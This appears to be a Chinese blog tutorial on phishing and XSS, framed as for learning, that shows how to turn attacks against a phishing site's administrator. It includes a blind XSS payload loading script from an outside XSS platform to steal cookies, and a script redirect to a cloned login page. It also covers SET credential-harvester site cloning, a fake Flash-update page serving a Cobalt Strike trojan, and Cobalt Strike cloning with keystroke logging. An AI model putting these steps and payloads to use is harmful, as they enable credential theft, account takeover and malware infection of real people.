钓鱼以及XSS攻击思路
起因
前几天在朋友那发生了一件事情,朋友在那好好打着游戏,突然手机发来一条QQ新设备登录验证码,我朋友很懵逼,他的QQ号密码只有他自己知道,根本不可能。他把这件事告诉了我之后,我询问他最近有没有在登录的时候发生一些奇怪的事情,就有了下面这件事情,前几天他在登录QQ空间的时候,明明自己密码输入正确了,但是输入后点击登录又重新输入了一遍后才登录成功,这就是一起很简单的钓鱼事件了,最开始输入密码的那个网站并不是真正的QQ空检登录界面,而是一个钓鱼界面,下面就介绍一下关于xss以及钓鱼的一些思路
本篇文章仅供学习,域名并没有去伪造,所以只是觉得有意思来了解学习一下,也是加强一下自己的防范意识,大家在平常也要加强自己的防范意识
参考国光师傅的这篇文章,写的很好,大家可以去看看:https://www.sqlsec.com/2020/10/xss2.html#toc-heading-8
鉴别网站
首先就是要看域名,一些特殊符号不仅可以骗过普通人,有时候连一些专业的信息安全人员也可以骗过。例如我这里本地简单搭了一个邮箱钓鱼网站,后面会讲功能以及如何操作
界面做的不是很好看,但是不影响,意思到了就行
域名分析
本网站域名
# 真域名
www.plumstar.cn
# 假域名
www.рlumstar.cn
vivo官网
# 真域名
www.vivo.com
# 假域名
www.νivo.com
微信官网
# 真域名
https://weixin.qq.com/
# 假域名
https://wеixin.qq.com/
在早期人们对钓鱼防范还不是很了解的情况下,这种钓鱼方法的成功率还是很高的,大家要增强防范意识。
钓鱼流程
回到上面的邮箱钓鱼网站,用户在前台输入自己的QQ账户和密码,美滋滋的点个登录
发现诶,怎么没反应,再输入一遍发现登录成功了,很疑惑,就以为网卡了或者出bug了,殊不知QQ号和密码已经泄露了。钓鱼者就可以登录自己的后台,查看钓鱼成果了
真是秒啊妙啊!
钓鱼网站分析
既然是钓鱼网站,自然而然就像上面那样,需要有一个后台需要去登录,那么常规的目录扫描软件多半可以扫出来
果然扫出来了后台登录界面http://192.168.157.1/diaoyu-master/diaoyu-master/login.html
那么就可以确定这个网站就是钓鱼网站了
攻击思路
简单梳理一下xss的常见攻击思路,xss的攻击思路很广泛,尤其是结合其他漏洞,能造成远超过xss的危害,大家还是要灵活运用xss和钓鱼。
思路一:xss盲打
前提是没有 httponly 防御 cookie 那么就可以直接盲打 XSS 需要一个xss平台,网上多的是,大家自己去搜索即可,这里推荐一个本地搭建的平台https://github.com/sqlsec/BlueLotus_XSSReceiver
这里我本地我也懒得装了,直接用网上现成的,界面大概这个样子
用xss平台里面的模块生成一个payload
<sCRiPt sRC=https://xssaq.com/VS8w></sCrIpT>
回到钓鱼网站,在用户名或密码处插入payload
,如果有表单长度限制的话,可以手工审查元素修改 input 的长度限制,这里我就不需要去改了
点击登录,这样就坐等管理后台的人员上钩了。回到钓鱼网站管理员的视角
管理员美滋滋的来登录后台,查看今天上钩的倒霉蛋了
发现出现了一条肉鸡上钩,诶,密码怎么感觉哪里怪怪的,但是也没去多想。殊不知用户名旁边有一串js代码被解析了,而此时我们的xss平台看到管理员已经上钩了;
这里我用pikachu代替了,因为实在是钓鱼网站我找半天也没找到,就稍微偷点懒
可以看到管理员的后台地址和cookie信息都到手了,拿到这两个信息就可以直接抓包登录到管理员的后台了,下面的操作就不需要我多说了。
思路二:SET钓鱼
上面那种情况是在没有 httponly 防御 cookie 那么如果存在httponly的话,这种获取cookie的方法是行不通的,这时候就要想另外的办法,从另一个方面绕过httponly
使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼,SET指的是social engineering toolkit
GitHub地址为:https://github.com/trustedsec/social-engineer-toolkit
直接点击就可以启动,看到下面的菜单
Select from the menu:
1) Social-Engineering Attacks # 社会工程攻击
2) Penetration Testing (Fast-Track) # 渗透测试(快速通道)
3) Third Party Modules # 第三方模块
4) Update the Social-Engineer Toolkit # 更新 SET
5) Update SET configuration # 更新 SET 配置
6) Help, Credits, and About # 帮助
99) Exit the Social-Engineer Toolkit # 退出
set> 1
选择1进入下面的菜单
Select from the menu:
1) Spear-Phishing Attack Vectors # 鱼叉式网络钓鱼攻击
2) Website Attack Vectors # 网站攻击
3) Infectious Media Generator # 感染性介质生成
4) Create a Payload and Listener # 创建 Payload 和 监听器
5) Mass Mailer Attack # 群发邮件
6) Arduino-Based Attack Vector # 基于 Arduino 的攻击
7) Wireless Access Point Attack Vector # 无线接入点攻击
8) QRCode Generator Attack Vector # 二维码生成器攻击
9) Powershell Attack Vectors # Powershell 攻击
10) Third Party Modules # 第三方模块
99) Return back to the main menu. # 返回主菜单
set> 2
选择2进入下面的菜单
1) Java Applet Attack Method # Java Applet 攻击
2) Metasploit Browser Exploit Method # Metasploit Browser 浏览器攻击
3) Credential Harvester Attack Method # 凭证窃取攻击
4) Tabnabbing Attack Method # 标签页劫持
5) Web Jacking Attack Method # 网页劫持攻击
6) Multi-Attack Web Method # 综合网页攻击
7) HTA Attack Method # HTA 攻击
99) Return to Main Menu # 返回主菜单
set:webattack> 3
选择3进入下面的菜单
1) Web Templates # 网站模板
2) Site Cloner # 站点克隆
3) Custom Import # 自定义导入
99) Return to Webattack Menu # 返回主菜单
set:webattack> 2
选择2站点克隆,下面的看截图
访问一下80端口看一下,这里我kali是虚拟机,本机去访问一下
可以看到跟上方的钓鱼后台登录口是一模一样的,现在假的登录口已经做完了,那怎么让钓鱼网站管理员在假的网站输入后台的用户名和密码呢?诱导管理员点击那么还是需要用到xss,下面的payload就是一个链接跳转
<script>window.location.href="http://192.168.157.128:80/"</script>
将这串代码插入到钓鱼网站的后台中
我们提交之后,诶,这时候钓鱼网站管理员又来看看有哪些菜鸡上钩了,结果没想到网站浏览器却跳转到了:192.068.157.128 页面,这个就是我们制作的假的钓鱼管理中心的登录界面。
管理员这时候也没多想,可能是登录过期了,需要重新登录,就在假的网站后台输入了真正的密码
而且这个假的网站输入正确的密码和用户名后,自动转发到真正的钓鱼网站后台登录成功,真是秒啊!拿到信息就可以登录后台了。
思路三:Flash钓鱼
从GitHub上找了一个flash钓鱼的项目:https://github.com/r00tSe7en/Flash-Pop
将我们cs生成的木马结合这网页,相信大多数人都会忍不住去点的
点击这个立即升级按钮,就会下载我们生成的木马,前提是没有火绒之类的杀毒软件,也没有加图标,偷个懒,嘿嘿嘿
可以看到cs成功上线并且执行命令成功
思路四:cs钓鱼
除了kali里面的SET来搭建钓鱼网站,用cs也可以来搭建钓鱼网站,操作也比较简单;
攻击-钓鱼攻击-克隆网站
配置如下,记得勾选上键盘记录
访问上面我们克隆的网站,发现克隆成功;然后就和上面思路一样,用xss将目标人员访问到我们这个假的登录界面,成功的话会在日志中看到目标人员的键盘记录
可以看到管理人员在输入账号和密码的同时,我们也获取到了账号和密码